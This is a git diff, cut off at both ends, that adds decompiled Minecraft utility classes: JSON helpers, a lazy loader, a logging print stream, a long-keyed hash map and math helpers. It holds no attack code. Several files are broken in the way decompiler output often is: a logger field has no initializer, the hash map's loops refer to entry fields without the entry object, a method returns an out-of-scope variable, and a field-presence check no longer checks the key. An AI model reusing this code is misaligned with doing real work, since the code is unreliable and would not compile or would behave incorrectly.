+    }
+    
+    public final boolean equals(Object p_equals_1_)
+    {
+      if (!(p_equals_1_ instanceof Entry))
+      {
+        return false;
+      }
+      
+
+      Entry var2 = (Entry)p_equals_1_;
+      Integer var3 = Integer.valueOf(getHash());
+      Integer var4 = Integer.valueOf(var2.getHash());
+      
+      if ((var3 == var4) || ((var3 != null) && (var3.equals(var4))))
+      {
+        Object var5 = getValue();
+        Object var6 = var2.getValue();
+        
+        if ((var5 == var6) || ((var5 != null) && (var5.equals(var6))))
+        {
+          return true;
+        }
+      }
+      
+      return false;
+    }
+    
+
+    public final int hashCode()
+    {
+      return IntHashMap.computeHash(hashEntry);
+    }
+    
+    public final String toString()
+    {
+      return getHash() + "=" + getValue();
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/JsonSerializableSet.java b/src/minecraft/net/minecraft/util/JsonSerializableSet.java
new file mode 100644
index 0000000..b13f922
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/JsonSerializableSet.java
@@ -0,0 +1,53 @@
+package net.minecraft.util;
+
+import com.google.common.collect.ForwardingSet;
+import com.google.common.collect.Sets;
+import com.google.gson.JsonArray;
+import com.google.gson.JsonElement;
+import com.google.gson.JsonPrimitive;
+import java.util.Iterator;
+import java.util.Set;
+
+public class JsonSerializableSet
+  extends ForwardingSet
+  implements IJsonSerializable
+{
+  private final Set underlyingSet = Sets.newHashSet();
+  private static final String __OBFID = "CL_00001482";
+  
+  public JsonSerializableSet() {}
+  
+  public void func_152753_a(JsonElement p_152753_1_) { if (p_152753_1_.isJsonArray())
+    {
+      Iterator var2 = p_152753_1_.getAsJsonArray().iterator();
+      
+      while (var2.hasNext())
+      {
+        JsonElement var3 = (JsonElement)var2.next();
+        add(var3.getAsString());
+      }
+    }
+  }
+  
+
+
+
+  public JsonElement getSerializableElement()
+  {
+    JsonArray var1 = new JsonArray();
+    Iterator var2 = iterator();
+    
+    while (var2.hasNext())
+    {
+      String var3 = (String)var2.next();
+      var1.add(new JsonPrimitive(var3));
+    }
+    
+    return var1;
+  }
+  
+  protected Set delegate()
+  {
+    return underlyingSet;
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/JsonUtils.java b/src/minecraft/net/minecraft/util/JsonUtils.java
new file mode 100644
index 0000000..74fedfc
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/JsonUtils.java
@@ -0,0 +1,338 @@
+package net.minecraft.util;
+
+import com.google.gson.JsonArray;
+import com.google.gson.JsonElement;
+import com.google.gson.JsonObject;
+import com.google.gson.JsonPrimitive;
+import com.google.gson.JsonSyntaxException;
+import org.apache.commons.lang3.StringUtils;
+
+public class JsonUtils
+{
+  private static final String __OBFID = "CL_00001484";
+  
+  public JsonUtils() {}
+  
+  public static boolean jsonObjectFieldTypeIsString(JsonObject p_151205_0_, String p_151205_1_)
+  {
+    return !jsonObjectFieldTypeIsPrimitive(p_151205_0_, p_151205_1_) ? false : p_151205_0_.getAsJsonPrimitive(p_151205_1_).isString();
+  }
+  
+
+
+
+  public static boolean jsonElementTypeIsString(JsonElement p_151211_0_)
+  {
+    return !p_151211_0_.isJsonPrimitive() ? false : p_151211_0_.getAsJsonPrimitive().isString();
+  }
+  
+  public static boolean func_180199_c(JsonObject p_180199_0_, String p_180199_1_)
+  {
+    return !jsonObjectFieldTypeIsPrimitive(p_180199_0_, p_180199_1_) ? false : p_180199_0_.getAsJsonPrimitive(p_180199_1_).isBoolean();
+  }
+  
+
+
+
+  public static boolean jsonObjectFieldTypeIsArray(JsonObject p_151202_0_, String p_151202_1_)
+  {
+    return !jsonObjectHasNamedField(p_151202_0_, p_151202_1_) ? false : p_151202_0_.get(p_151202_1_).isJsonArray();
+  }
+  
+
+
+
+
+  public static boolean jsonObjectFieldTypeIsPrimitive(JsonObject p_151201_0_, String p_151201_1_)
+  {
+    return !jsonObjectHasNamedField(p_151201_0_, p_151201_1_) ? false : p_151201_0_.get(p_151201_1_).isJsonPrimitive();
+  }
+  
+
+
+
+  public static boolean jsonObjectHasNamedField(JsonObject p_151204_0_, String p_151204_1_)
+  {
+    return p_151204_0_ != null;
+  }
+  
+
+
+
+
+  public static String getJsonElementStringValue(JsonElement p_151206_0_, String p_151206_1_)
+  {
+    if (p_151206_0_.isJsonPrimitive())
+    {
+      return p_151206_0_.getAsString();
+    }
+    
+
+    throw new JsonSyntaxException("Expected " + p_151206_1_ + " to be a string, was " + getJsonElementTypeDescription(p_151206_0_));
+  }
+  
+
+
+
+
+  public static String getJsonObjectStringFieldValue(JsonObject p_151200_0_, String p_151200_1_)
+  {
+    if (p_151200_0_.has(p_151200_1_))
+    {
+      return getJsonElementStringValue(p_151200_0_.get(p_151200_1_), p_151200_1_);
+    }
+    
+
+    throw new JsonSyntaxException("Missing " + p_151200_1_ + ", expected to find a string");
+  }
+  
+
+
+
+
+
+  public static String getJsonObjectStringFieldValueOrDefault(JsonObject p_151219_0_, String p_151219_1_, String p_151219_2_)
+  {
+    return p_151219_0_.has(p_151219_1_) ? getJsonElementStringValue(p_151219_0_.get(p_151219_1_), p_151219_1_) : p_151219_2_;
+  }
+  
+
+
+
+
+  public static boolean getJsonElementBooleanValue(JsonElement p_151216_0_, String p_151216_1_)
+  {
+    if (p_151216_0_.isJsonPrimitive())
+    {
+      return p_151216_0_.getAsBoolean();
+    }
+    
+
+    throw new JsonSyntaxException("Expected " + p_151216_1_ + " to be a Boolean, was " + getJsonElementTypeDescription(p_151216_0_));
+  }
+  
+
+
+
+
+  public static boolean getJsonObjectBooleanFieldValue(JsonObject p_151212_0_, String p_151212_1_)
+  {
+    if (p_151212_0_.has(p_151212_1_))
+    {
+      return getJsonElementBooleanValue(p_151212_0_.get(p_151212_1_), p_151212_1_);
+    }
+    
+
+    throw new JsonSyntaxException("Missing " + p_151212_1_ + ", expected to find a Boolean");
+  }
+  
+
+
+
+
+
+  public static boolean getJsonObjectBooleanFieldValueOrDefault(JsonObject p_151209_0_, String p_151209_1_, boolean p_151209_2_)
+  {
+    return p_151209_0_.has(p_151209_1_) ? getJsonElementBooleanValue(p_151209_0_.get(p_151209_1_), p_151209_1_) : p_151209_2_;
+  }
+  
+
+
+
+
+  public static float getJsonElementFloatValue(JsonElement p_151220_0_, String p_151220_1_)
+  {
+    if ((p_151220_0_.isJsonPrimitive()) && (p_151220_0_.getAsJsonPrimitive().isNumber()))
+    {
+      return p_151220_0_.getAsFloat();
+    }
+    
+
+    throw new JsonSyntaxException("Expected " + p_151220_1_ + " to be a Float, was " + getJsonElementTypeDescription(p_151220_0_));
+  }
+  
+
+
+
+
+  public static float getJsonObjectFloatFieldValue(JsonObject p_151217_0_, String p_151217_1_)
+  {
+    if (p_151217_0_.has(p_151217_1_))
+    {
+      return getJsonElementFloatValue(p_151217_0_.get(p_151217_1_), p_151217_1_);
+    }
+    
+
+    throw new JsonSyntaxException("Missing " + p_151217_1_ + ", expected to find a Float");
+  }
+  
+
+
+
+
+
+  public static float getJsonObjectFloatFieldValueOrDefault(JsonObject p_151221_0_, String p_151221_1_, float p_151221_2_)
+  {
+    return p_151221_0_.has(p_151221_1_) ? getJsonElementFloatValue(p_151221_0_.get(p_151221_1_), p_151221_1_) : p_151221_2_;
+  }
+  
+
+
+
+
+  public static int getJsonElementIntegerValue(JsonElement p_151215_0_, String p_151215_1_)
+  {
+    if ((p_151215_0_.isJsonPrimitive()) && (p_151215_0_.getAsJsonPrimitive().isNumber()))
+    {
+      return p_151215_0_.getAsInt();
+    }
+    
+
+    throw new JsonSyntaxException("Expected " + p_151215_1_ + " to be a Int, was " + getJsonElementTypeDescription(p_151215_0_));
+  }
+  
+
+
+
+
+  public static int getJsonObjectIntegerFieldValue(JsonObject p_151203_0_, String p_151203_1_)
+  {
+    if (p_151203_0_.has(p_151203_1_))
+    {
+      return getJsonElementIntegerValue(p_151203_0_.get(p_151203_1_), p_151203_1_);
+    }
+    
+
+    throw new JsonSyntaxException("Missing " + p_151203_1_ + ", expected to find a Int");
+  }
+  
+
+
+
+
+
+  public static int getJsonObjectIntegerFieldValueOrDefault(JsonObject p_151208_0_, String p_151208_1_, int p_151208_2_)
+  {
+    return p_151208_0_.has(p_151208_1_) ? getJsonElementIntegerValue(p_151208_0_.get(p_151208_1_), p_151208_1_) : p_151208_2_;
+  }
+  
+
+
+
+
+  public static JsonObject getElementAsJsonObject(JsonElement p_151210_0_, String p_151210_1_)
+  {
+    if (p_151210_0_.isJsonObject())
+    {
+      return p_151210_0_.getAsJsonObject();
+    }
+    
+
+    throw new JsonSyntaxException("Expected " + p_151210_1_ + " to be a JsonObject, was " + getJsonElementTypeDescription(p_151210_0_));
+  }
+  
+
+  public static JsonObject getJsonObject(JsonObject base, String key)
+  {
+    if (base.has(key))
+    {
+      return getElementAsJsonObject(base.get(key), key);
+    }
+    
+
+    throw new JsonSyntaxException("Missing " + key + ", expected to find a JsonObject");
+  }
+  
+
+
+
+
+
+  public static JsonObject getJsonObjectFieldOrDefault(JsonObject p_151218_0_, String p_151218_1_, JsonObject p_151218_2_)
+  {
+    return p_151218_0_.has(p_151218_1_) ? getElementAsJsonObject(p_151218_0_.get(p_151218_1_), p_151218_1_) : p_151218_2_;
+  }
+  
+
+
+
+
+  public static JsonArray getJsonElementAsJsonArray(JsonElement p_151207_0_, String p_151207_1_)
+  {
+    if (p_151207_0_.isJsonArray())
+    {
+      return p_151207_0_.getAsJsonArray();
+    }
+    
+
+    throw new JsonSyntaxException("Expected " + p_151207_1_ + " to be a JsonArray, was " + getJsonElementTypeDescription(p_151207_0_));
+  }
+  
+
+
+
+
+  public static JsonArray getJsonObjectJsonArrayField(JsonObject p_151214_0_, String p_151214_1_)
+  {
+    if (p_151214_0_.has(p_151214_1_))
+    {
+      return getJsonElementAsJsonArray(p_151214_0_.get(p_151214_1_), p_151214_1_);
+    }
+    
+
+    throw new JsonSyntaxException("Missing " + p_151214_1_ + ", expected to find a JsonArray");
+  }
+  
+
+
+
+
+
+  public static JsonArray getJsonObjectJsonArrayFieldOrDefault(JsonObject p_151213_0_, String p_151213_1_, JsonArray p_151213_2_)
+  {
+    return p_151213_0_.has(p_151213_1_) ? getJsonElementAsJsonArray(p_151213_0_.get(p_151213_1_), p_151213_1_) : p_151213_2_;
+  }
+  
+
+
+
+  public static String getJsonElementTypeDescription(JsonElement p_151222_0_)
+  {
+    String var1 = StringUtils.abbreviateMiddle(String.valueOf(p_151222_0_), "...", 10);
+    
+    if (p_151222_0_ == null)
+    {
+      return "null (missing)";
+    }
+    if (p_151222_0_.isJsonNull())
+    {
+      return "null (json)";
+    }
+    if (p_151222_0_.isJsonArray())
+    {
+      return "an array (" + var1 + ")";
+    }
+    if (p_151222_0_.isJsonObject())
+    {
+      return "an object (" + var1 + ")";
+    }
+    
+
+    if (p_151222_0_.isJsonPrimitive())
+    {
+      JsonPrimitive var2 = p_151222_0_.getAsJsonPrimitive();
+      
+      if (var2.isNumber())
+      {
+        return "a number (" + var1 + ")";
+      }
+      
+      if (var2.isBoolean())
+      {
+        return "a boolean (" + var1 + ")";
+      }
+    }
+    
+    return var1;
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/LazyLoadBase.java b/src/minecraft/net/minecraft/util/LazyLoadBase.java
new file mode 100644
index 0000000..71ee833
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/LazyLoadBase.java
@@ -0,0 +1,21 @@
+package net.minecraft.util;
+
+public abstract class LazyLoadBase
+{
+  private Object value;
+  private boolean isLoaded = false;
+  private static final String __OBFID = "CL_00002263";
+  
+  public LazyLoadBase() {}
+  
+  public Object getValue() { if (!isLoaded)
+    {
+      isLoaded = true;
+      value = load();
+    }
+    
+    return value;
+  }
+  
+  protected abstract Object load();
+}
diff --git a/src/minecraft/net/minecraft/util/LoggingPrintStream.java b/src/minecraft/net/minecraft/util/LoggingPrintStream.java
new file mode 100644
index 0000000..3f50926
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/LoggingPrintStream.java
@@ -0,0 +1,36 @@
+package net.minecraft.util;
+
+import java.io.OutputStream;
+import java.io.PrintStream;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class LoggingPrintStream extends PrintStream
+{
+  private static final Logger LOGGER = ;
+  private final String domain;
+  private static final String __OBFID = "CL_00002275";
+  
+  public LoggingPrintStream(String p_i45927_1_, OutputStream p_i45927_2_)
+  {
+    super(p_i45927_2_);
+    domain = p_i45927_1_;
+  }
+  
+  public void println(String p_println_1_)
+  {
+    logString(p_println_1_);
+  }
+  
+  public void println(Object p_println_1_)
+  {
+    logString(String.valueOf(p_println_1_));
+  }
+  
+  private void logString(String p_179882_1_)
+  {
+    StackTraceElement[] var2 = Thread.currentThread().getStackTrace();
+    StackTraceElement var3 = var2[Math.min(3, var2.length)];
+    LOGGER.info("[{}]@.({}:{}): {}", new Object[] { domain, var3.getFileName(), Integer.valueOf(var3.getLineNumber()), p_179882_1_ });
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/LongHashMap.java b/src/minecraft/net/minecraft/util/LongHashMap.java
new file mode 100644
index 0000000..34c257a
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/LongHashMap.java
@@ -0,0 +1,313 @@
+package net.minecraft.util;
+
+
+public class LongHashMap
+{
+  private transient Entry[] hashArray = new Entry['က'];
+  
+
+  private transient int numHashElements;
+  
+
+  private int field_180201_c;
+  
+
+  private int capacity = 3072;
+  
+
+
+
+  private final float percentUseable = 0.75F;
+  
+  private volatile transient int modCount;
+  
+  private static final String __OBFID = "CL_00001492";
+  
+  public LongHashMap()
+  {
+    field_180201_c = (hashArray.length - 1);
+  }
+  
+
+
+
+  private static int getHashedKey(long originalKey)
+  {
+    return (int)(originalKey ^ originalKey >>> 27);
+  }
+  
+
+
+
+  private static int hash(int integer)
+  {
+    integer ^= integer >>> 20 ^ integer >>> 12;
+    return integer ^ integer >>> 7 ^ integer >>> 4;
+  }
+  
+
+
+
+  private static int getHashIndex(int p_76158_0_, int p_76158_1_)
+  {
+    return p_76158_0_ & p_76158_1_;
+  }
+  
+  public int getNumHashElements()
+  {
+    return numHashElements;
+  }
+  
+
+
+
+  public Object getValueByKey(long p_76164_1_)
+  {
+    int var3 = getHashedKey(p_76164_1_);
+    
+    for (Entry var4 = hashArray[getHashIndex(var3, field_180201_c)]; var4 != null; var4 = nextEntry)
+    {
+      if (key == p_76164_1_)
+      {
+        return value;
+      }
+    }
+    
+    return null;
+  }
+  
+  public boolean containsItem(long p_76161_1_)
+  {
+    return getEntry(p_76161_1_) != null;
+  }
+  
+  final Entry getEntry(long p_76160_1_)
+  {
+    int var3 = getHashedKey(p_76160_1_);
+    
+    for (Entry var4 = hashArray[getHashIndex(var3, field_180201_c)]; var4 != null; var4 = nextEntry)
+    {
+      if (key == p_76160_1_)
+      {
+        return var4;
+      }
+    }
+    
+    return null;
+  }
+  
+
+
+
+  public void add(long p_76163_1_, Object p_76163_3_)
+  {
+    int var4 = getHashedKey(p_76163_1_);
+    int var5 = getHashIndex(var4, field_180201_c);
+    
+    for (Entry var6 = hashArray[var5]; var6 != null; var6 = nextEntry)
+    {
+      if (key == p_76163_1_)
+      {
+        value = p_76163_3_;
+        return;
+      }
+    }
+    
+    modCount += 1;
+    createKey(var4, p_76163_1_, p_76163_3_, var5);
+  }
+  
+
+
+
+  private void resizeTable(int p_76153_1_)
+  {
+    Entry[] var2 = hashArray;
+    int var3 = var2.length;
+    
+    if (var3 == 1073741824)
+    {
+      capacity = Integer.MAX_VALUE;
+    }
+    else
+    {
+      Entry[] var4 = new Entry[p_76153_1_];
+      copyHashTableTo(var4);
+      hashArray = var4;
+      field_180201_c = (hashArray.length - 1);
+      float var10001 = p_76153_1_;
+      getClass();
+      capacity = ((int)(var10001 * 0.75F));
+    }
+  }
+  
+
+
+
+  private void copyHashTableTo(Entry[] p_76154_1_)
+  {
+    Entry[] var2 = hashArray;
+    int var3 = p_76154_1_.length;
+    
+    for (int var4 = 0; var4 < var2.length; var4++)
+    {
+      Entry var5 = var2[var4];
+      
+      if (var5 != null)
+      {
+        var2[var4] = null;
+        
+        Entry var6;
+        do
+        {
+          var6 = nextEntry;
+          int var7 = getHashIndex(hash, var3 - 1);
+          nextEntry = p_76154_1_[var7];
+          p_76154_1_[var7] = var5;
+          var5 = var6;
+        }
+        while (var6 != null);
+      }
+    }
+  }
+  
+
+
+
+  public Object remove(long p_76159_1_)
+  {
+    Entry var3 = removeKey(p_76159_1_);
+    return var3 == null ? null : value;
+  }
+  
+
+
+
+  final Entry removeKey(long p_76152_1_)
+  {
+    int var3 = getHashedKey(p_76152_1_);
+    int var4 = getHashIndex(var3, field_180201_c);
+    Entry var5 = hashArray[var4];
+    
+    Entry var7;
+    
+    for (Entry var6 = var5; var6 != null; var6 = var7)
+    {
+      var7 = nextEntry;
+      
+      if (key == p_76152_1_)
+      {
+        modCount += 1;
+        numHashElements -= 1;
+        
+        if (var5 == var6)
+        {
+          hashArray[var4] = var7;
+        }
+        else
+        {
+          nextEntry = var7;
+        }
+        
+        return var6;
+      }
+      
+      var5 = var6;
+    }
+    
+    return var6;
+  }
+  
+
+
+
+  private void createKey(int p_76156_1_, long p_76156_2_, Object p_76156_4_, int p_76156_5_)
+  {
+    Entry var6 = hashArray[p_76156_5_];
+    hashArray[p_76156_5_] = new Entry(p_76156_1_, p_76156_2_, p_76156_4_, var6);
+    
+    if (numHashElements++ >= capacity)
+    {
+      resizeTable(2 * hashArray.length);
+    }
+  }
+  
+  public double getKeyDistribution()
+  {
+    int countValid = 0;
+    
+    for (int i = 0; i < hashArray.length; i++)
+    {
+      if (hashArray[i] != null)
+      {
+        countValid++;
+      }
+    }
+    
+    return 1.0D * countValid / numHashElements;
+  }
+  
+  static class Entry
+  {
+    final long key;
+    Object value;
+    Entry nextEntry;
+    final int hash;
+    private static final String __OBFID = "CL_00001493";
+    
+    Entry(int p_i1553_1_, long p_i1553_2_, Object p_i1553_4_, Entry p_i1553_5_)
+    {
+      value = p_i1553_4_;
+      nextEntry = p_i1553_5_;
+      key = p_i1553_2_;
+      hash = p_i1553_1_;
+    }
+    
+    public final long getKey()
+    {
+      return key;
+    }
+    
+    public final Object getValue()
+    {
+      return value;
+    }
+    
+    public final boolean equals(Object p_equals_1_)
+    {
+      if (!(p_equals_1_ instanceof Entry))
+      {
+        return false;
+      }
+      
+
+      Entry var2 = (Entry)p_equals_1_;
+      Long var3 = Long.valueOf(getKey());
+      Long var4 = Long.valueOf(var2.getKey());
+      
+      if ((var3 == var4) || ((var3 != null) && (var3.equals(var4))))
+      {
+        Object var5 = getValue();
+        Object var6 = var2.getValue();
+        
+        if ((var5 == var6) || ((var5 != null) && (var5.equals(var6))))
+        {
+          return true;
+        }
+      }
+      
+      return false;
+    }
+    
+
+    public final int hashCode()
+    {
+      return LongHashMap.getHashedKey(key);
+    }
+    
+    public final String toString()
+    {
+      return getKey() + "=" + getValue();
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/MapPopulator.java b/src/minecraft/net/minecraft/util/MapPopulator.java
new file mode 100644
index 0000000..c4410bd
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/MapPopulator.java
@@ -0,0 +1,45 @@
+package net.minecraft.util;
+
+import com.google.common.collect.Maps;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.NoSuchElementException;
+
+
+
+
+
+public class MapPopulator
+{
+  private static final String __OBFID = "CL_00002318";
+  
+  public MapPopulator() {}
+  
+  public static Map createMap(Iterable keys, Iterable values)
+  {
+    return populateMap(keys, values, Maps.newLinkedHashMap());
+  }
+  
+
+
+
+  public static Map populateMap(Iterable keys, Iterable values, Map map)
+  {
+    Iterator var3 = values.iterator();
+    Iterator var4 = keys.iterator();
+    
+    while (var4.hasNext())
+    {
+      Object var5 = var4.next();
+      map.put(var5, var3.next());
+    }
+    
+    if (var3.hasNext())
+    {
+      throw new NoSuchElementException();
+    }
+    
+
+    return map;
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/MathHelper.java b/src/minecraft/net/minecraft/util/MathHelper.java
new file mode 100644
index 0000000..dcde6d6
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/MathHelper.java
@@ -0,0 +1,438 @@
+package net.minecraft.util;
+
+import java.util.Random;
+import java.util.UUID;
+
+public class MathHelper
+{
+  public static final float field_180189_a = sqrt_float(2.0F);
+  private static final int SIN_BITS = 12;
+  private static final int SIN_MASK = 4095;
+  private static final int SIN_COUNT = 4096;
+  public static final float PI = 3.1415927F;
+  public static final float PI2 = 6.2831855F;
+  public static final float PId2 = 1.5707964F;
+  private static final float radFull = 6.2831855F;
+  private static final float degFull = 360.0F;
+  private static final float radToIndex = 651.8986F;
+  private static final float degToIndex = 11.377778F;
+  public static final float deg2Rad = 0.017453292F;
+  private static final float[] SIN_TABLE_FAST = new float['က'];
+  public static boolean fastMath = false;
+  
+
+
+
+  private static final float[] SIN_TABLE = new float[65536];
+  
+
+
+
+  private static final int[] multiplyDeBruijnBitPosition;
+  
+
+
+
+  private static final String __OBFID = "CL_00001496";
+  
+
+
+
+  public static float sin(float p_76126_0_)
+  {
+    return fastMath ? SIN_TABLE_FAST[((int)(p_76126_0_ * 651.8986F) & 0xFFF)] : SIN_TABLE[((int)(p_76126_0_ * 10430.378F) & 0xFFFF)];
+  }
+  
+
+
+
+  public static float cos(float p_76134_0_)
+  {
+    return fastMath ? SIN_TABLE_FAST[((int)((p_76134_0_ + 1.5707964F) * 651.8986F) & 0xFFF)] : SIN_TABLE[((int)(p_76134_0_ * 10430.378F + 16384.0F) & 0xFFFF)];
+  }
+  
+  public static float sqrt_float(float p_76129_0_)
+  {
+    return (float)Math.sqrt(p_76129_0_);
+  }
+  
+  public static float sqrt_double(double p_76133_0_)
+  {
+    return (float)Math.sqrt(p_76133_0_);
+  }
+  
+
+
+
+  public static int floor_float(float p_76141_0_)
+  {
+    int var1 = (int)p_76141_0_;
+    return p_76141_0_ < var1 ? var1 - 1 : var1;
+  }
+  
+
+
+
+  public static int truncateDoubleToInt(double p_76140_0_)
+  {
+    return (int)(p_76140_0_ + 1024.0D) - 1024;
+  }
+  
+
+
+
+  public static int floor_double(double p_76128_0_)
+  {
+    int var2 = (int)p_76128_0_;
+    return p_76128_0_ < var2 ? var2 - 1 : var2;
+  }
+  
+
+
+
+  public static long floor_double_long(double p_76124_0_)
+  {
+    long var2 = p_76124_0_;
+    return p_76124_0_ < var2 ? var2 - 1L : var2;
+  }
+  
+  public static int func_154353_e(double p_154353_0_)
+  {
+    return (int)(p_154353_0_ >= 0.0D ? p_154353_0_ : -p_154353_0_ + 1.0D);
+  }
+  
+  public static float abs(float p_76135_0_)
+  {
+    return p_76135_0_ >= 0.0F ? p_76135_0_ : -p_76135_0_;
+  }
+  
+
+
+
+  public static int abs_int(int p_76130_0_)
+  {
+    return p_76130_0_ >= 0 ? p_76130_0_ : -p_76130_0_;
+  }
+  
+  public static int ceiling_float_int(float p_76123_0_)
+  {
+    int var1 = (int)p_76123_0_;
+    return p_76123_0_ > var1 ? var1 + 1 : var1;
+  }
+  
+  public static int ceiling_double_int(double p_76143_0_)
+  {
+    int var2 = (int)p_76143_0_;
+    return p_76143_0_ > var2 ? var2 + 1 : var2;
+  }
+  
+
+
+
+
+  public static int clamp_int(int p_76125_0_, int p_76125_1_, int p_76125_2_)
+  {
+    return p_76125_0_ > p_76125_2_ ? p_76125_2_ : p_76125_0_ < p_76125_1_ ? p_76125_1_ : p_76125_0_;
+  }
+  
+
+
+
+
+  public static float clamp_float(float p_76131_0_, float p_76131_1_, float p_76131_2_)
+  {
+    return p_76131_0_ > p_76131_2_ ? p_76131_2_ : p_76131_0_ < p_76131_1_ ? p_76131_1_ : p_76131_0_;
+  }
+  
+  public static double clamp_double(double p_151237_0_, double p_151237_2_, double p_151237_4_)
+  {
+    return p_151237_0_ > p_151237_4_ ? p_151237_4_ : p_151237_0_ < p_151237_2_ ? p_151237_2_ : p_151237_0_;
+  }
+  
+  public static double denormalizeClamp(double p_151238_0_, double p_151238_2_, double p_151238_4_)
+  {
+    return p_151238_4_ > 1.0D ? p_151238_2_ : p_151238_4_ < 0.0D ? p_151238_0_ : p_151238_0_ + (p_151238_2_ - p_151238_0_) * p_151238_4_;
+  }
+  
+
+
+
+  public static double abs_max(double p_76132_0_, double p_76132_2_)
+  {
+    if (p_76132_0_ < 0.0D)
+    {
+      p_76132_0_ = -p_76132_0_;
+    }
+    
+    if (p_76132_2_ < 0.0D)
+    {
+      p_76132_2_ = -p_76132_2_;
+    }
+    
+    return p_76132_0_ > p_76132_2_ ? p_76132_0_ : p_76132_2_;
+  }
+  
+
+
+
+  public static int bucketInt(int p_76137_0_, int p_76137_1_)
+  {
+    return p_76137_0_ < 0 ? -((-p_76137_0_ - 1) / p_76137_1_) - 1 : p_76137_0_ / p_76137_1_;
+  }
+  
+  public static int getRandomIntegerInRange(Random p_76136_0_, int p_76136_1_, int p_76136_2_)
+  {
+    return p_76136_1_ >= p_76136_2_ ? p_76136_1_ : p_76136_0_.nextInt(p_76136_2_ - p_76136_1_ + 1) + p_76136_1_;
+  }
+  
+  public static float randomFloatClamp(Random p_151240_0_, float p_151240_1_, float p_151240_2_)
+  {
+    return p_151240_1_ >= p_151240_2_ ? p_151240_1_ : p_151240_0_.nextFloat() * (p_151240_2_ - p_151240_1_) + p_151240_1_;
+  }
+  
+  public static double getRandomDoubleInRange(Random p_82716_0_, double p_82716_1_, double p_82716_3_)
+  {
+    return p_82716_1_ >= p_82716_3_ ? p_82716_1_ : p_82716_0_.nextDouble() * (p_82716_3_ - p_82716_1_) + p_82716_1_;
+  }
+  
+  public static double average(long[] p_76127_0_)
+  {
+    long var1 = 0L;
+    long[] var3 = p_76127_0_;
+    int var4 = p_76127_0_.length;
+    
+    for (int var5 = 0; var5 < var4; var5++)
+    {
+      long var6 = var3[var5];
+      var1 += var6;
+    }
+    
+    return var1 / p_76127_0_.length;
+  }
+  
+  public static boolean func_180185_a(float p_180185_0_, float p_180185_1_)
+  {
+    return abs(p_180185_1_ - p_180185_0_) < 1.0E-5F;
+  }
+  
+  public static int func_180184_b(int p_180184_0_, int p_180184_1_)
+  {
+    return (p_180184_0_ % p_180184_1_ + p_180184_1_) % p_180184_1_;
+  }
+  
+
+
+
+  public static float wrapAngleTo180_float(float p_76142_0_)
+  {
+    p_76142_0_ %= 360.0F;
+    
+    if (p_76142_0_ >= 180.0F)
+    {
+      p_76142_0_ -= 360.0F;
+    }
+    
+    if (p_76142_0_ < -180.0F)
+    {
+      p_76142_0_ += 360.0F;
+    }
+    
+    return p_76142_0_;
+  }
+  
+
+
+
+  public static double wrapAngleTo180_double(double p_76138_0_)
+  {
+    p_76138_0_ %= 360.0D;
+    
+    if (p_76138_0_ >= 180.0D)
+    {
+      p_76138_0_ -= 360.0D;
+    }
+    
+    if (p_76138_0_ < -180.0D)
+    {
+      p_76138_0_ += 360.0D;
+    }
+    
+    return p_76138_0_;
+  }
+  
+
+
+
+  public static int parseIntWithDefault(String p_82715_0_, int p_82715_1_)
+  {
+    try
+    {
+      return Integer.parseInt(p_82715_0_);
+    }
+    catch (Throwable var3) {}
+    
+    return p_82715_1_;
+  }
+  
+
+
+
+
+  public static int parseIntWithDefaultAndMax(String p_82714_0_, int p_82714_1_, int p_82714_2_)
+  {
+    return Math.max(p_82714_2_, parseIntWithDefault(p_82714_0_, p_82714_1_));
+  }
+  
+
+
+
+  public static double parseDoubleWithDefault(String p_82712_0_, double p_82712_1_)
+  {
+    try
+    {
+      return Double.parseDouble(p_82712_0_);
+    }
+    catch (Throwable var4) {}
+    
+    return p_82712_1_;
+  }
+  
+
+  public static double parseDoubleWithDefaultAndMax(String p_82713_0_, double p_82713_1_, double p_82713_3_)
+  {
+    return Math.max(p_82713_3_, parseDoubleWithDefault(p_82713_0_, p_82713_1_));
+  }
+  
+
+
+
+  public static int roundUpToPowerOfTwo(int p_151236_0_)
+  {
+    int var1 = p_151236_0_ - 1;
+    var1 |= var1 >> 1;
+    var1 |= var1 >> 2;
+    var1 |= var1 >> 4;
+    var1 |= var1 >> 8;
+    var1 |= var1 >> 16;
+    return var1 + 1;
+  }
+  
+
+
+
+  private static boolean isPowerOfTwo(int p_151235_0_)
+  {
+    return (p_151235_0_ != 0) && ((p_151235_0_ & p_151235_0_ - 1) == 0);
+  }
+  
+
+
+
+
+
+  private static int calculateLogBaseTwoDeBruijn(int p_151241_0_)
+  {
+    p_151241_0_ = isPowerOfTwo(p_151241_0_) ? p_151241_0_ : roundUpToPowerOfTwo(p_151241_0_);
+    return multiplyDeBruijnBitPosition[((int)(p_151241_0_ * 125613361L >> 27) & 0x1F)];
+  }
+  
+
+
+
+
+  public static int calculateLogBaseTwo(int p_151239_0_)
+  {
+    return calculateLogBaseTwoDeBruijn(p_151239_0_) - (isPowerOfTwo(p_151239_0_) ? 0 : 1);
+  }
+  
+  public static int func_154354_b(int p_154354_0_, int p_154354_1_)
+  {
+    if (p_154354_1_ == 0)
+    {
+      return 0;
+    }
+    if (p_154354_0_ == 0)
+    {
+      return p_154354_1_;
+    }
+    
+
+    if (p_154354_0_ < 0)
+    {
+      p_154354_1_ *= -1;
+    }
+    
+    int var2 = p_154354_0_ % p_154354_1_;
+    return var2 == 0 ? p_154354_0_ : p_154354_0_ + p_154354_1_ - var2;
+  }
+  
+
+  public static int func_180183_b(float p_180183_0_, float p_180183_1_, float p_180183_2_)
+  {
+    return func_180181_b(floor_float(p_180183_0_ * 255.0F), floor_float(p_180183_1_ * 255.0F), floor_float(p_180183_2_ * 255.0F));
+  }
+  
+  public static int func_180181_b(int p_180181_0_, int p_180181_1_, int p_180181_2_)
+  {
+    int var3 = (p_180181_0_ << 8) + p_180181_1_;
